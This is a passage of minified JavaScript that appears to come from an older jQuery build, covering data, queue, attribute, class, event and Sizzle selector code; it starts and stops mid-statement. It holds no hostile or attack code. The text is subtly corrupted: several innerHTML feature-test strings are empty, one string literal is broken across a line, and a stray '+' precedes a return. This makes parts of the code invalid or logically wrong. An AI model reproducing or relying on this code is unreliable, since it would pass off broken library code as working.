W(e,n,r){if(r===t&&1===e.nodeType){var i="data-"+n.replace(B,"-$1").toLowerCase();if(r=e.getAttribute(i),"string"==typeof r){try{r="true"===r?!0:"false"===r?!1:"null"===r?null:+r+""===r?+r:O.test(r)?b.parseJSON(r):r}catch(o){}b.data(e,n,r)}else r=t}return r}function $(e){var t;for(t in e)if(("data"!==t||!b.isEmptyObject(e[t]))&&"toJSON"!==t)return!1;return!0}b.extend({queue:function(e,n,r){var i;return e?(n=(n||"fx")+"queue",i=b._data(e,n),r&&(!i||b.isArray(r)?i=b._data(e,n,b.makeArray(r)):i.push(r)),i||[]):t},dequeue:function(e,t){t=t||"fx";var n=b.queue(e,t),r=n.length,i=n.shift(),o=b._queueHooks(e,t),a=function(){b.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),o.cur=i,i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return b._data(e,n)||b._data(e,n,{empty:b.Callbacks("once memory").add(function(){b._removeData(e,t+"queue"),b._removeData(e,n)})})}}),b.fn.extend({queue:function(e,n){var r=2;return"string"!=typeof e&&(n=e,e="fx",r--),r>arguments.length?b.queue(this[0],e):n===t?this:this.each(function(){var t=b.queue(this,e,n);b._queueHooks(this,e),"fx"===e&&"inprogress"!==t[0]&&b.dequeue(this,e)})},dequeue:function(e){return this.each(function(){b.dequeue(this,e)})},delay:function(e,t){return e=b.fx?b.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,n){var r,i=1,o=b.Deferred(),a=this,s=this.length,u=function(){--i||o.resolveWith(a,[a])};"string"!=typeof e&&(n=e,e=t),e=e||"fx";while(s--)r=b._data(a[s],e+"queueHooks"),r&&r.empty&&(i++,r.empty.add(u));return u(),o.promise(n)}});var I,z,X=/[\t\r\n]/g,U=/\r/g,V=/^(?:input|select|textarea|button|object)$/i,Y=/^(?:a|area)$/i,J=/^(?:checked|selected|autofocus|autoplay|async|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped)$/i,G=/^(?:checked|selected)$/i,Q=b.support.getSetAttribute,K=b.support.input;b.fn.extend({attr:function(e,t){return b.access(this,b.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){b.removeAttr(this,e)})},prop:function(e,t){return b.access(this,b.prop,e,t,arguments.length>1)},removeProp:function(e){return e=b.propFix[e]||e,this.each(function(){try{this[e]=t,delete this[e]}catch(n){}})},addClass:function(e){var t,n,r,i,o,a=0,s=this.length,u="string"==typeof e&&e;if(b.isFunction(e))return this.each(function(t){b(this).addClass(e.call(this,t,this.className))});if(u)for(t=(e||"").match(w)||[];s>a;a++)if(n=this[a],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(X," "):" ")){o=0;while(i=t[o++])0>r.indexOf(" "+i+" ")&&(r+=i+" ");n.className=b.trim(r)}return this},removeClass:function(e){var t,n,r,i,o,a=0,s=this.length,u=0===arguments.length||"string"==typeof e&&e;if(b.isFunction(e))return this.each(function(t){b(this).removeClass(e.call(this,t,this.className))});if(u)for(t=(e||"").match(w)||[];s>a;a++)if(n=this[a],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(X," "):"")){o=0;while(i=t[o++])while(r.indexOf(" "+i+" ")>=0)r=r.replace(" "+i+" "," ");n.className=e?b.trim(r):""}return this},toggleClass:function(e,t){var n=typeof e,r="boolean"==typeof t;return b.isFunction(e)?this.each(function(n){b(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if("string"===n){var o,a=0,s=b(this),u=t,l=e.match(w)||[];while(o=l[a++])u=r?u:!s.hasClass(o),s[u?"addClass":"removeClass"](o)}else(n===i||"boolean"===n)&&(this.className&&b._data(this,"__className__",this.className),this.className=this.className||e===!1?"":b._data(this,"__className__")||"")})},hasClass:function(e){var t=" "+e+" ",n=0,r=this.length;for(;r>n;n++)if(1===this[n].nodeType&&(" "+this[n].className+" ").replace(X," ").indexOf(t)>=0)return!0;return!1},val:function(e){var n,r,i,o=this[0];{if(arguments.length)return i=b.isFunction(e),this.each(function(n){var o,a=b(this);1===this.nodeType&&(o=i?e.call(this,n,a.val()):e,null==o?o="":"number"==typeof o?o+="":b.isArray(o)&&(o=b.map(o,function(e){return null==e?"":e+""})),r=b.valHooks[this.type]||b.valHooks[this.nodeName.toLowerCase()],r&&"set"in r&&r.set(this,o,"value")!==t||(this.value=o))});if(o)return r=b.valHooks[o.type]||b.valHooks[o.nodeName.toLowerCase()],r&&"get"in r&&(n=r.get(o,"value"))!==t?n:(n=o.value,"string"==typeof n?n.replace(U,""):null==n?"":n)}}}),b.extend({valHooks:{option:{get:function(e){var t=e.attributes.value;return!t||t.specified?e.value:e.text}},select:{get:function(e){var t,n,r=e.options,i=e.selectedIndex,o="select-one"===e.type||0>i,a=o?null:[],s=o?i+1:r.length,u=0>i?s:o?i:0;for(;s>u;u++)if(n=r[u],!(!n.selected&&u!==i||(b.support.optDisabled?n.disabled:null!==n.getAttribute("disabled"))||n.parentNode.disabled&&b.nodeName(n.parentNode,"optgroup"))){if(t=b(n).val(),o)return t;a.push(t)}return a},set:function(e,t){var n=b.makeArray(t);return b(e).find("option").each(function(){this.selected=b.inArray(b(this).val(),n)>=0}),n.length||(e.selectedIndex=-1),n}}},attr:function(e,n,r){var o,a,s,u=e.nodeType;if(e&&3!==u&&8!==u&&2!==u)return typeof e.getAttribute===i?b.prop(e,n,r):(a=1!==u||!b.isXMLDoc(e),a&&(n=n.toLowerCase(),o=b.attrHooks[n]||(J.test(n)?z:I)),r===t?o&&a&&"get"in o&&null!==(s=o.get(e,n))?s:(typeof e.getAttribute!==i&&(s=e.getAttribute(n)),null==s?t:s):null!==r?o&&a&&"set"in o&&(s=o.set(e,r,n))!==t?s:(e.setAttribute(n,r+""),r):(b.removeAttr(e,n),t))},removeAttr:function(e,t){var n,r,i=0,o=t&&t.match(w);if(o&&1===e.nodeType)while(n=o[i++])r=b.propFix[n]||n,J.test(n)?!Q&&G.test(n)?e[b.camelCase("default-"+n)]=e[r]=!1:e[r]=!1:b.attr(e,n,""),e.removeAttribute(Q?n:r)},attrHooks:{type:{set:function(e,t){if(!b.support.radioValue&&"radio"===t&&b.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(e,n,r){var i,o,a,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s)return a=1!==s||!b.isXMLDoc(e),a&&(n=b.propFix[n]||n,o=b.propHooks[n]),r!==t?o&&"set"in o&&(i=o.set(e,r,n))!==t?i:e[n]=r:o&&"get"in o&&null!==(i=o.get(e,n))?i:e[n]},propHooks:{tabIndex:{get:function(e){var n=e.getAttributeNode("tabindex");return n&&n.specified?parseInt(n.value,10):V.test(e.nodeName)||Y.test(e.nodeName)&&e.href?0:t}}}}),z={get:function(e,n){var r=b.prop(e,n),i="boolean"==typeof r&&e.getAttribute(n),o="boolean"==typeof r?K&&Q?null!=i:G.test(n)?e[b.camelCase("default-"+n)]:!!i:e.getAttributeNode(n);return o&&o.value!==!1?n.toLowerCase():t},set:function(e,t,n){return t===!1?b.removeAttr(e,n):K&&Q||!G.test(n)?e.setAttribute(!Q&&b.propFix[n]||n,n):e[b.camelCase("default-"+n)]=e[n]=!0,n}},K&&Q||(b.attrHooks.value={get:function(e,n){var r=e.getAttributeNode(n);return b.nodeName(e,"input")?e.defaultValue:r&&r.specified?r.value:t},set:function(e,n,r){return b.nodeName(e,"input")?(e.defaultValue=n,t):I&&I.set(e,n,r)}}),Q||(I=b.valHooks.button={get:function(e,n){var r=e.getAttributeNode(n);return r&&("id"===n||"name"===n||"coords"===n?""!==r.value:r.specified)?r.value:t},set:function(e,n,r){var i=e.getAttributeNode(r);return i||e.setAttributeNode(i=e.ownerDocument.createAttribute(r)),i.value=n+="","value"===r||n===e.getAttribute(r)?n:t}},b.attrHooks.contenteditable={get:I.get,set:function(e,t,n){I.set(e,""===t?!1:t,n)}},b.each(["width","height"],function(e,n){b.attrHooks[n]=b.extend(b.attrHooks[n],{set:function(e,r){return""===r?(e.setAttribute(n,"auto"),r):t}})})),b.support.hrefNormalized||(b.each(["href","src","width","height"],function(e,n){b.attrHooks[n]=b.extend(b.attrHooks[n],{get:function(e){var r=e.getAttribute(n,2);return null==r?t:r}})}),b.each(["href","src"],function(e,t){b.propHooks[t]={get:function(e){return e.getAttribute(t,4)}}})),b.support.style||(b.attrHooks.style={get:function(e){return e.style.cssText||t},set:function(e,t){return e.style.cssText=t+""}}),b.support.optSelected||(b.propHooks.selected=b.extend(b.propHooks.selected,{get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}})),b.support.enctype||(b.propFix.enctype="encoding"),b.support.checkOn||b.each(["radio","checkbox"],function(){b.valHooks[this]={get:function(e){return null===e.getAttribute("value")?"on":e.value}}}),b.each(["radio","checkbox"],function(){b.valHooks[this]=b.extend(b.valHooks[this],{set:function(e,n){return b.isArray(n)?e.checked=b.inArray(b(e).val(),n)>=0:t}})});var Z=/^(?:input|select|textarea)$/i,et=/^key/,tt=/^(?:mouse|contextmenu)|click/,nt=/^(?:focusinfocus|focusoutblur)$/,rt=/^([^.]*)(?:\.(.+)|)$/;function it(){return!0}function ot(){return!1}b.event={global:{},add:function(e,n,r,o,a){var s,u,l,c,p,f,d,h,g,m,y,v=b._data(e);if(v){r.handler&&(c=r,r=c.handler,a=c.selector),r.guid||(r.guid=b.guid++),(u=v.events)||(u=v.events={}),(f=v.handle)||(f=v.handle=function(e){return typeof b===i||e&&b.event.triggered===e.type?t:b.event.dispatch.apply(f.elem,arguments)},f.elem=e),n=(n||"").match(w)||[""],l=n.length;while(l--)s=rt.exec(n[l])||[],g=y=s[1],m=(s[2]||"").split(".").sort(),p=b.event.special[g]||{},g=(a?p.delegateType:p.bindType)||g,p=b.event.special[g]||{},d=b.extend({type:g,origType:y,data:o,handler:r,guid:r.guid,selector:a,needsContext:a&&b.expr.match.needsContext.test(a),namespace:m.join(".")},c),(h=u[g])||(h=u[g]=[],h.delegateCount=0,p.setup&&p.setup.call(e,o,m,f)!==!1||(e.addEventListener?e.addEventListener(g,f,!1):e.attachEvent&&e.attachEvent("on"+g,f))),p.add&&(p.add.call(e,d),d.handler.guid||(d.handler.guid=r.guid)),a?h.splice(h.delegateCount++,0,d):h.push(d),b.event.global[g]=!0;e=null}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,p,f,d,h,g,m=b.hasData(e)&&b._data(e);if(m&&(c=m.events)){t=(t||"").match(w)||[""],l=t.length;while(l--)if(s=rt.exec(t[l])||[],d=g=s[1],h=(s[2]||"").split(".").sort(),d){p=b.event.special[d]||{},d=(r?p.delegateType:p.bindType)||d,f=c[d]||[],s=s[2]&&RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),u=o=f.length;while(o--)a=f[o],!i&&g!==a.origType||n&&n.guid!==a.guid||s&&!s.test(a.namespace)||r&&r!==a.selector&&("**"!==r||!a.selector)||(f.splice(o,1),a.selector&&f.delegateCount--,p.remove&&p.remove.call(e,a));u&&!f.length&&(p.teardown&&p.teardown.call(e,h,m.handle)!==!1||b.removeEvent(e,d,m.handle),delete c[d])}else for(d in c)b.event.remove(e,d+t[l],n,r,!0);b.isEmptyObject(c)&&(delete m.handle,b._removeData(e,"events"))}},trigger:function(n,r,i,a){var s,u,l,c,p,f,d,h=[i||o],g=y.call(n,"type")?n.type:n,m=y.call(n,"namespace")?n.namespace.split("."):[];if(l=f=i=i||o,3!==i.nodeType&&8!==i.nodeType&&!nt.test(g+b.event.triggered)&&(g.indexOf(".")>=0&&(m=g.split("."),g=m.shift(),m.sort()),u=0>g.indexOf(":")&&"on"+g,n=n[b.expando]?n:new b.Event(g,"object"==typeof n&&n),n.isTrigger=!0,n.namespace=m.join("."),n.namespace_re=n.namespace?RegExp("(^|\\.)"+m.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,n.result=t,n.target||(n.target=i),r=null==r?[n]:b.makeArray(r,[n]),p=b.event.special[g]||{},a||!p.trigger||p.trigger.apply(i,r)!==!1)){if(!a&&!p.noBubble&&!b.isWindow(i)){for(c=p.delegateType||g,nt.test(c+g)||(l=l.parentNode);l;l=l.parentNode)h.push(l),f=l;f===(i.ownerDocument||o)&&h.push(f.defaultView||f.parentWindow||e)}d=0;while((l=h[d++])&&!n.isPropagationStopped())n.type=d>1?c:p.bindType||g,s=(b._data(l,"events")||{})[n.type]&&b._data(l,"handle"),s&&s.apply(l,r),s=u&&l[u],s&&b.acceptData(l)&&s.apply&&s.apply(l,r)===!1&&n.preventDefault();if(n.type=g,!(a||n.isDefaultPrevented()||p._default&&p._default.apply(i.ownerDocument,r)!==!1||"click"===g&&b.nodeName(i,"a")||!b.acceptData(i)||!u||!i[g]||b.isWindow(i))){f=i[u],f&&(i[u]=null),b.event.triggered=g;try{i[g]()}catch(v){}b.event.triggered=t,f&&(i[u]=f)}return n.result}},dispatch:function(e){e=b.event.fix(e);var n,r,i,o,a,s=[],u=h.call(arguments),l=(b._data(this,"events")||{})[e.type]||[],c=b.event.special[e.type]||{};if(u[0]=e,e.delegateTarget=this,!c.preDispatch||c.preDispatch.call(this,e)!==!1){s=b.event.handlers.call(this,e,l),n=0;while((o=s[n++])&&!e.isPropagationStopped()){e.currentTarget=o.elem,a=0;while((i=o.handlers[a++])&&!e.isImmediatePropagationStopped())(!e.namespace_re||e.namespace_re.test(i.namespace))&&(e.handleObj=i,e.data=i.data,r=((b.event.special[i.origType]||{}).handle||i.handler).apply(o.elem,u),r!==t&&(e.result=r)===!1&&(e.preventDefault(),e.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,e),e.result}},handlers:function(e,n){var r,i,o,a,s=[],u=n.delegateCount,l=e.target;if(u&&l.nodeType&&(!e.button||"click"!==e.type))for(;l!=this;l=l.parentNode||this)if(1===l.nodeType&&(l.disabled!==!0||"click"!==e.type)){for(o=[],a=0;u>a;a++)i=n[a],r=i.selector+" ",o[r]===t&&(o[r]=i.needsContext?b(r,this).index(l)>=0:b.find(r,this,null,[l]).length),o[r]&&o.push(i);o.length&&s.push({elem:l,handlers:o})}return n.length>u&&s.push({elem:this,handlers:n.slice(u)}),s},fix:function(e){if(e[b.expando])return e;var t,n,r,i=e.type,a=e,s=this.fixHooks[i];s||(this.fixHooks[i]=s=tt.test(i)?this.mouseHooks:et.test(i)?this.keyHooks:{}),r=s.props?this.props.concat(s.props):this.props,e=new b.Event(a),t=r.length;while(t--)n=r[t],e[n]=a[n];return e.target||(e.target=a.srcElement||o),3===e.target.nodeType&&(e.target=e.target.parentNode),e.metaKey=!!e.metaKey,s.filter?s.filter(e,a):e},props:"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(e,t){return null==e.which&&(e.which=null!=t.charCode?t.charCode:t.keyCode),e}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(e,n){var r,i,a,s=n.button,u=n.fromElement;return null==e.pageX&&null!=n.clientX&&(i=e.target.ownerDocument||o,a=i.documentElement,r=i.body,e.pageX=n.clientX+(a&&a.scrollLeft||r&&r.scrollLeft||0)-(a&&a.clientLeft||r&&r.clientLeft||0),e.pageY=n.clientY+(a&&a.scrollTop||r&&r.scrollTop||0)-(a&&a.clientTop||r&&r.clientTop||0)),!e.relatedTarget&&u&&(e.relatedTarget=u===e.target?n.toElement:u),e.which||s===t||(e.which=1&s?1:2&s?3:4&s?2:0),e}},special:{load:{noBubble:!0},click:{trigger:function(){return b.nodeName(this,"input")&&"checkbox"===this.type&&this.click?(this.click(),!1):t}},focus:{trigger:function(){if(this!==o.activeElement&&this.focus)try{return this.focus(),!1}catch(e){}},delegateType:"focusin"},blur:{trigger:function(){return this===o.activeElement&&this.blur?(this.blur(),!1):t},delegateType:"focusout"},beforeunload:{postDispatch:function(e){e.result!==t&&(e.originalEvent.returnValue=e.result)}}},simulate:function(e,t,n,r){var i=b.extend(new b.Event,n,{type:e,isSimulated:!0,originalEvent:{}});r?b.event.trigger(i,null,t):b.event.dispatch.call(t,i),i.isDefaultPrevented()&&n.preventDefault()}},b.removeEvent=o.removeEventListener?function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n,!1)}:function(e,t,n){var r="on"+t;e.detachEvent&&(typeof e[r]===i&&(e[r]=null),e.detachEvent(r,n))},b.Event=function(e,n){return this instanceof b.Event?(e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||e.returnValue===!1||e.getPreventDefault&&e.getPreventDefault()?it:ot):this.type=e,n&&b.extend(this,n),this.timeStamp=e&&e.timeStamp||b.now(),this[b.expando]=!0,t):new b.Event(e,n)},b.Event.prototype={isDefaultPrevented:ot,isPropagationStopped:ot,isImmediatePropagationStopped:ot,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=it,e&&(e.preventDefault?e.preventDefault():e.returnValue=!1)},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=it,e&&(e.stopPropagation&&e.stopPropagation(),e.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=it,this.stopPropagation()}},b.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(e,t){b.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj; + return(!i||i!==r&&!b.contains(r,i))&&(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),b.support.submitBubbles||(b.event.special.submit={setup:function(){return b.nodeName(this,"form")?!1:(b.event.add(this,"click._submit keypress._submit",function(e){var n=e.target,r=b.nodeName(n,"input")||b.nodeName(n,"button")?n.form:t;r&&!b._data(r,"submitBubbles")&&(b.event.add(r,"submit._submit",function(e){e._submit_bubble=!0}),b._data(r,"submitBubbles",!0))}),t)},postDispatch:function(e){e._submit_bubble&&(delete e._submit_bubble,this.parentNode&&!e.isTrigger&&b.event.simulate("submit",this.parentNode,e,!0))},teardown:function(){return b.nodeName(this,"form")?!1:(b.event.remove(this,"._submit"),t)}}),b.support.changeBubbles||(b.event.special.change={setup:function(){return Z.test(this.nodeName)?(("checkbox"===this.type||"radio"===this.type)&&(b.event.add(this,"propertychange._change",function(e){"checked"===e.originalEvent.propertyName&&(this._just_changed=!0)}),b.event.add(this,"click._change",function(e){this._just_changed&&!e.isTrigger&&(this._just_changed=!1),b.event.simulate("change",this,e,!0)})),!1):(b.event.add(this,"beforeactivate._change",function(e){var t=e.target;Z.test(t.nodeName)&&!b._data(t,"changeBubbles")&&(b.event.add(t,"change._change",function(e){!this.parentNode||e.isSimulated||e.isTrigger||b.event.simulate("change",this.parentNode,e,!0)}),b._data(t,"changeBubbles",!0))}),t)},handle:function(e){var n=e.target;return this!==n||e.isSimulated||e.isTrigger||"radio"!==n.type&&"checkbox"!==n.type?e.handleObj.handler.apply(this,arguments):t},teardown:function(){return b.event.remove(this,"._change"),!Z.test(this.nodeName)}}),b.support.focusinBubbles||b.each({focus:"focusin",blur:"focusout"},function(e,t){var n=0,r=function(e){b.event.simulate(t,e.target,b.event.fix(e),!0)};b.event.special[t]={setup:function(){0===n++&&o.addEventListener(e,r,!0)},teardown:function(){0===--n&&o.removeEventListener(e,r,!0)}}}),b.fn.extend({on:function(e,n,r,i,o){var a,s;if("object"==typeof e){"string"!=typeof n&&(r=r||n,n=t);for(a in e)this.on(a,n,r,e[a],o);return this}if(null==r&&null==i?(i=n,r=n=t):null==i&&("string"==typeof n?(i=r,r=t):(i=r,r=n,n=t)),i===!1)i=ot;else if(!i)return this;return 1===o&&(s=i,i=function(e){return b().off(e),s.apply(this,arguments)},i.guid=s.guid||(s.guid=b.guid++)),this.each(function(){b.event.add(this,e,i,r,n)})},one:function(e,t,n,r){return this.on(e,t,n,r,1)},off:function(e,n,r){var i,o;if(e&&e.preventDefault&&e.handleObj)return i=e.handleObj,b(e.delegateTarget).off(i.namespace?i.origType+"."+i.namespace:i.origType,i.selector,i.handler),this;if("object"==typeof e){for(o in e)this.off(o,n,e[o]);return this}return(n===!1||"function"==typeof n)&&(r=n,n=t),r===!1&&(r=ot),this.each(function(){b.event.remove(this,e,r,n)})},bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},trigger:function(e,t){return this.each(function(){b.event.trigger(e,t,this)})},triggerHandler:function(e,n){var r=this[0];return r?b.event.trigger(e,n,r,!0):t}}),function(e,t){var n,r,i,o,a,s,u,l,c,p,f,d,h,g,m,y,v,x="sizzle"+-new Date,w=e.document,T={},N=0,C=0,k=it(),E=it(),S=it(),A=typeof t,j=1<<31,D=[],L=D.pop,H=D.push,q=D.slice,M=D.indexOf||function(e){var t=0,n=this.length;for(;n>t;t++)if(this[t]===e)return t;return-1},_="[\\x20\\t\\r\\n\\f]",F="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",O=F.replace("w","w#"),B="([*^$|!~]?=)",P="\\["+_+"*("+F+")"+_+"*(?:"+B+_+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|("+O+")|)|)"+_+"*\\]",R=":("+F+")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|"+P.replace(3,8)+")*)|.*)\\)|)",W=RegExp("^"+_+"+|((?:^|[^\\\\])(?:\\\\.)*)"+_+"+$","g"),$=RegExp("^"+_+"*,"+_+"*"),I=RegExp("^"+_+"*([\\x20\\t\\r\\n\\f>+~])"+_+"*"),z=RegExp(R),X=RegExp("^"+O+"$"),U={ID:RegExp("^#("+F+")"),CLASS:RegExp("^\\.("+F+")"),NAME:RegExp("^\\[name=['\"]?("+F+")['\"]?\\]"),TAG:RegExp("^("+F.replace("w","w*")+")"),ATTR:RegExp("^"+P),PSEUDO:RegExp("^"+R),CHILD:RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+_+"*(even|odd|(([+-]|)(\\d*)n|)"+_+"*(?:([+-]|)"+_+"*(\\d+)|))"+_+"*\\)|)","i"),needsContext:RegExp("^"+_+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+_+"*((?:-\\d)?\\d*)"+_+"*\\)|)(?=[^-]|$)","i")},V=/[\x20\t\r\n\f]*[+~]/,Y=/^[^{]+\{\s*\[native code/,J=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,G=/^(?:input|select|textarea|button)$/i,Q=/^h\d$/i,K=/'|\\/g,Z=/\=[\x20\t\r\n\f]*([^'"\]]*)[\x20\t\r\n\f]*\]/g,et=/\\([\da-fA-F]{1,6}[\x20\t\r\n\f]?|.)/g,tt=function(e,t){var n="0x"+t-65536;return n!==n?t:0>n?String.fromCharCode(n+65536):String.fromCharCode(55296|n>>10,56320|1023&n)};try{q.call(w.documentElement.childNodes,0)[0].nodeType}catch(nt){q=function(e){var t,n=[];while(t=this[e++])n.push(t);return n}}function rt(e){return Y.test(e+"")}function it(){var e,t=[];return e=function(n,r){return t.push(n+=" ")>i.cacheLength&&delete e[t.shift()],e[n]=r}}function ot(e){return e[x]=!0,e}function at(e){var t=p.createElement("div");try{return e(t)}catch(n){return!1}finally{t=null}}function st(e,t,n,r){var i,o,a,s,u,l,f,g,m,v;if((t?t.ownerDocument||t:w)!==p&&c(t),t=t||p,n=n||[],!e||"string"!=typeof e)return n;if(1!==(s=t.nodeType)&&9!==s)return[];if(!d&&!r){if(i=J.exec(e))if(a=i[1]){if(9===s){if(o=t.getElementById(a),!o||!o.parentNode)return n;if(o.id===a)return n.push(o),n}else if(t.ownerDocument&&(o=t.ownerDocument.getElementById(a))&&y(t,o)&&o.id===a)return n.push(o),n}else{if(i[2])return H.apply(n,q.call(t.getElementsByTagName(e),0)),n;if((a=i[3])&&T.getByClassName&&t.getElementsByClassName)return H.apply(n,q.call(t.getElementsByClassName(a),0)),n}if(T.qsa&&!h.test(e)){if(f=!0,g=x,m=t,v=9===s&&e,1===s&&"object"!==t.nodeName.toLowerCase()){l=ft(e),(f=t.getAttribute("id"))?g=f.replace(K,"\\$&"):t.setAttribute("id",g),g="[id='"+g+"'] ",u=l.length;while(u--)l[u]=g+dt(l[u]);m=V.test(e)&&t.parentNode||t,v=l.join(",")}if(v)try{return H.apply(n,q.call(m.querySelectorAll(v),0)),n}catch(b){}finally{f||t.removeAttribute("id")}}}return wt(e.replace(W,"$1"),t,n,r)}a=st.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?"HTML"!==t.nodeName:!1},c=st.setDocument=function(e){var n=e?e.ownerDocument||e:w;return n!==p&&9===n.nodeType&&n.documentElement?(p=n,f=n.documentElement,d=a(n),T.tagNameNoComments=at(function(e){return e.appendChild(n.createComment("")),!e.getElementsByTagName("*").length}),T.attributes=at(function(e){e.innerHTML="";var t=typeof e.lastChild.getAttribute("multiple");return"boolean"!==t&&"string"!==t}),T.getByClassName=at(function(e){return e.innerHTML="",e.getElementsByClassName&&e.getElementsByClassName("e").length?(e.lastChild.className="e",2===e.getElementsByClassName("e").length):!1}),T.getByName=at(function(e){e.id=x+0,e.innerHTML="
",f.insertBefore(e,f.firstChild);var t=n.getElementsByName&&n.getElementsByName(x).length===2+n.getElementsByName(x+0).length;return T.getIdNotName=!n.getElementById(x),f.removeChild(e),t}),i.attrHandle=at(function(e){return e.innerHTML="",e.firstChild&&typeof e.firstChild.getAttribute!==A&&"#"===e.firstChild.getAttribute("href")})?{}:{href:function(e){return e.getAttribute("href",2)},type:function(e){return e.getAttribute("type")}},T.getIdNotName?(i.find.ID=function(e,t){if(typeof t.getElementById!==A&&!d){var n=t.getElementById(e);return n&&n.parentNode?[n]:[]}},i.filter.ID=function(e){var t=e.replace(et,tt);return function(e){return e.getAttribute("id")===t}}):(i.find.ID=function(e,n){if(typeof n.getElementById!==A&&!d){var r=n.getElementById(e);return r?r.id===e||typeof r.getAttributeNode!==A&&r.getAttributeNode("id").value===e?[r]:t:[]}},i.filter.ID=function(e){var t=e.replace(et,tt);return function(e){var n=typeof e.getAttributeNode!==A&&e.getAttributeNode("id");return n&&n.value===t}}),i.find.TAG=T.tagNameNoComments?function(e,n){return typeof n.getElementsByTagName!==A?n.getElementsByTagName(e):t}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},i.find.NAME=T.getByName&&function(e,n){return typeof n.getElementsByName!==A?n.getElementsByName(name):t},i.find.CLASS=T.getByClassName&&function(e,n){return typeof n.getElementsByClassName===A||d?t:n.getElementsByClassName(e)},g=[],h=[":focus"],(T.qsa=rt(n.querySelectorAll))&&(at(function(e){e.innerHTML="",e.querySelectorAll("[selected]").length||h.push("\\["+_+"*(?:checked|disabled|ismap|multiple|readonly|selected|value)"),e.querySelectorAll(":checked").length||h.push(":checked")}),at(function(e){e.innerHTML="",e.querySelectorAll("[i^='']").length&&h.push("[*^$]="+_+"*(?:\"\"|'')"),e.querySelectorAll(":enabled").length||h.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),h.push(",.*:")})),(T.matchesSelector=rt(m=f.matchesSelector||f.mozMatchesSelector||f.webkitMatchesSelector||f.oMatchesSelector||f.msMatchesSelector))&&at(function(e){T.disconnectedMatch=m.call(e,"div"),m.call(e,"[s!='']:x"),g.push("!=",R)}),h=RegExp(h.join("|")),g=RegExp(g.join("|")),y=rt(f.contains)||f.compareDocumentPosition?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},v=f.compareDocumentPosition?function(e,t){var r;return e===t?(u=!0,0):(r=t.compareDocumentPosition&&e.compareDocumentPosition&&e.compareDocumentPosition(t))?1&r||e.parentNode&&11===e.parentNode.nodeType?e===n||y(w,e)?-1:t===n||y(w,t)?1:0:4&r?-1:1:e.compareDocumentPosition?-1:1}:function(e,t){var r,i=0,o=e.parentNode,a=t.parentNode,s=[e],l=[t];if(e===t)return u=!0,0;if(!o||!a)return e===n?-1:t===n?1:o?-1:a?1:0;if(o===a)return ut(e,t);r=e;while(r=r.parentNode)s.unshift(r);r=t;while(r=r.parentNode)l.unshift(r);while(s[i]===l[i])i++;return i?ut(s[i],l[i]):s[i]===w?-1:l[i]===w?1:0},u=!1,[0,0].sort(v),T.detectDuplicates=u,p):p},st.matches=function(e,t){return st(e,null,null,t)},st.matchesSelector=function(e,t){if((e.ownerDocument||e)!==p&&c(e),t=t.replace(Z,"='$1']"),!(!T.matchesSelector||d||g&&g.test(t)||h.test(t)))try{var n=m.call(e,t);if(n||T.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(r){}return st(t,p,null,[e]).length>0},st.contains=function(e,t){return(e.ownerDocument||e)!==p&&c(e),y(e,t)},st.attr=function(e,t){var 